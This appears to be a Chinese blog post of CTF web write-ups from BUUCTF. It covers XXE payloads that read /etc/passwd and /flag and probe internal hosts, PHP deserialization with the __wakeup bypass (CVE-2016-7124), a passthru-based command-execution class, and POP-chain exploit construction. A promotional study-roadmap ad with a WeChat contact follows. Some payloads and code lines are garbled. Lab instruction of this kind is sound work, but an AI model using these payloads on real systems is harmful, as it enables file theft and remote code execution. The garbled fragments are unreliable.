CTF-WEB_ctf代码,网络安全面试题中高级

BUUCTF在线评测

启动第一个靶机,常规遇到登录框,先用弱口令试一下

不行再抓包看一下, 显然和之前的数据包是不一样的,多了些XML标签

构造payload如下:(一般来说这个很冷门)

<?xml version="1.0"?>

]>

&xxe;1
#调用xxe实体,执行后面的命令————读取/etc/passwd文件

xxe还可以进行内网信息收集,如探索存活主机、查看路由等

本题的flag就在根目录下面,查看的时候,使用xxe实体,里面定义读取文件:filter:///flag文件即可得到flag

题目二

第二个界面和上一个一样,抓包放到repeater里面,file读passwd文件可以,但是没什么信息

加xml代码模板,读取当前页面,然后base64解码

<?xml version="1.0" encoding="ISO-8859-1"?>

]>
&admin;1234

md5解码如下,但是登不进去admin

然后读内网IP,也没什么用

<?xml version="1.0" encoding="ISO-8859-1"?>

]>
&admin;1234

读apr文件,如下有个IP地址

然后利用HTTP协议请求一下,可以看到无回显,说明该IP没有web服务

再次查询arp文件,发现又有另一个IP,试一下这个IP,可以看到还是没有回显

放到intruder里面爆破,选择12为爆破点爆破C段,查询存活主机,然后payloads选择numbers,从1~255,步长为1

理论上就能爆破出来哪个C段是对的,访问该ip 就能得到正确的flag

反序列化pop链条

析构方法__destruct()在类的对象销毁的时候自动解析或者执行在类的对象销毁的时候自动解析或者执行")

PHP执行系统命令函数实例讲解_php实例_脚本之家

PHP中 __toString()方法详解-php教程-PHP中文网方法详解-php教程-PHP中文网")

类的一些魔术的方法
<?php class CMDClass { public $cmd=""; //默认cmd为空,也就是不输入任何的数据 function __wakeup() //魔术方法,在键入之后匹配内容有无ip,在windows系统上屏蔽输入ipconfig //反序列化函数执行之后,如果有这个函数的话,就会优先执行这个方法里面的函数或者方法 { if(strpos($this->cmd 'ip') !== flase) $this->cmd="echo 非法输入"; } function __destruct() //析构方法,在类的对象销毁之后执行,也就是说这个方法是最后一个执行的 { passthru($this->cmd,$result); } function __toString() //魔术方法,在类中接收到的对象被当做字符串的时候执行下一句看返回什么 { return ""; } } $a=unserialize($POST['xxx']); //反序列化函数 echo $a; //post传参接收一个输入,然后首先执行wakeup方法,没有敏感字符之后再执行toString方法 //此时对象被当做一个字符串执行,执行后释放内存,此对象被销毁之后再执行destruct方法返回结果 **[\_\_wakeup()魔术方法绕过(CVE-2016-7124)]( )魔术方法绕过(CVE-2016-7124)")** > > wakeup函数是在反序列化函数之后查找,如果有这个方法,就会优先执行这个方法下面的内容,如果没有这个的话,大概率会出问题,报错或者什么的 > > > 绕过的话,首先要知道它的源码,把源码放到菜鸟工具 <?php class CMDClass { public $cmd="ipconfig"; //输入敏感字符 } $a=new CMDClass; echo serialize($a); //得到序列化的结果 ![](https://img-blog.csdnimg.cn/direct/eeac2518472e49178d7d3b144de696c5.png) O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";} 绕过的话,只需要把类的个数该得比它原本的个数大即可 然后浏览源码所在的页面,打开hackbar,下载url,然后post传参 a=O:8:"CMDClass":1000:{s:3:"cmd";s:8:"ipconfig";} > > 但是需要注意的是:此时的php的版本有要求——PHP5<5.6.25,PHP7<7.0.10 > > > #### php的类中变量的三种声明 变量是类的数据成员,它们用于存储类中所需的数据。变量可以是私有的,只能在类定义中访问;也可以是公共的,可以被类的方法和外部代码访问 在PHP中,当声明类变量时,您可以指定变量的访问级别。PHP支持三种访问级别: * public:可以被类的方法和外部代码访问 * protected:只能被类的方法和其子类访问 * private:只能在类定义中访问 把cmd的输入分别改为这三种类型的话,序列化之后的结果的变化: **1、变量为pubulic时序列化的运行结果** ![](https://img-blog.csdnimg.cn/direct/eeac2518472e49178d7d3b144de696c5.png) **公开属性的只会显示类的属性** **2、将变量改为private之后的运行结果** ![](https://img-blog.csdnimg.cn/direct/9809648e506641baad27fe3c2f0769ed.png) **私有的会显示类名加属性** 此时s之后的数字变为了13,可以看到他之后的所有的字符串就是13个,未显示的字符是%00,属于具有截断含义的不可见字符串,此时显示的字符其实是浏览器渲染的结果 **直接复制过去,然后把类的个数改大一点就可以直接绕过了** > > **但是此时浏览器渲染的%00可以直接手动换为具体的字符串,或者在菜鸟工具里面把最后一行加个urlencode()函数编码,直接编码为url,避免在序列化内容过多的时候手动该%00过于麻烦,但是此时就需要在一堆编码里面准确的找到类的个数是哪个,一般来说类的个数处于两个冒号之间,冒号的url编码是%3A,所以找到偏前面一点的,在两个%3A之间的数字改大一点就可以了** > > > 具体结果如下所示: ![](https://img-blog.csdnimg.cn/direct/9821e4ff54fc4f59bf1549c87b21ed99.png) **3、将变量改为protected之后的序列化结果** ![](https://img-blog.csdnimg.cn/direct/762288eced0d4f609bcd1c8909e4b4e2.png) 此时它也有%00,但是此时也是只有类的属性名字,没有具体的类名,也可以使用你lencode函数来编码之后再更改类的个数 [BUUCTF [web专项16][极客大挑战 2019]PHP\_buuctfmore fast-CSDN博客]( ) 首先进入靶场之后,此页面下面可以先访问一下主页index.php 然后扫目录看一下,就会扫出来www.zip,浏览此页面,就会自动下载目标页面的源码包,然后打开此源码包,会发现有很多前端代码,但主要在于php文件里面(里面会有一个假flag) 主要就是class.php文件的审计代码,得到用户名必须为admin, 密码必须为100才会打印flag,但是类里面的wakeup方法不能执行,执行之后就会置为guest index页面包含class页面,里面友谊个GET春蚕的反序列化点,所以可以使用序列化绕过wawkeup方法,然后打印flag <?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } //之前类里面的所有的方法都删掉,其余的东西不变 //然后在后面再构造一个新的类,这个类使用的就是最新的可以通过的账号密码 $a = new Name('admin',100); $b = serialize($a); echo $b; 由于账号密码是私有变量,但是在网页查看源代码的时候会发现有序列化的结果,使用编码函数urlencode()带出序列化的结果之后,把两个%3A之间的数字改为比原来大的数字之后,就会自动打印flag了 #### pop链条 [PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改\_魔术方法与反序列化pop链]( ) 一般来说,在类的方法里面不会出现系统执行命令执行一些不确定的参数或者输入 触发flag或者rce的方法都是在魔术方法里面 pop链就是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击的目的 [php中魔术方法详解\_php魔术方法的讲解与使用-CSDN博客]( ) [php有哪些魔术方法\_php魔术方法有哪些-PHP问题-PHP中文网]( ) **[构造pop链举例]( )** <?php #pop链 class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "str-str".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT"); } } $a = $_GET['string']; unserialize($a); highlight_file("./index.php"); ?>

PHP魔术方法总览

__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

构造链就是先找到能自动执行的魔术方法,然后一环套一环,把上一个类的属性变为下一个将要执行的类的对象,以此类推,然后最终执行到希望的函数,以上述的代码为例,就是要执行到get_flag函数为止

把一个类的属性作为另一个类的对象传输过去

第一种构造EXP的方法

//首先定义新的类 start_gg,然后让这个类里面的对象mod1为下一个类的对象
$a=new start_gg();
$a->mod1=new Call();
$a->mod1->mod1=new funct();
$a->mod1->mod1->mod1=new func();
$a->mod1->mod1->mod1->mod1=new string1();
a − > m o d 1 − > m o d 1 − > m o d 1 − > m o d 1 − > m o d 1 = n e w g e t f l a g ( ) ; e c h o s e r i a l i z e ( a->mod1->mod1->mod1->mod1->mod1=new get_flag(); echo serialize( a>mod1>mod1>mod1>mod1>mod1=newgetflag();echoserialize(a);

执行到最后就可以使用rce任意函数执行

第二种构造EXP的方法

<?php #pop链 class start_gg { public $mod1; //类的变量在定义的时候是不能直接赋值的 public $mod2; public function __construct() //构造函数,逐步调用 { $this->mod1=new Call();

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

process=image/format,png)
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-Q19UqmUf-1712651096083)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值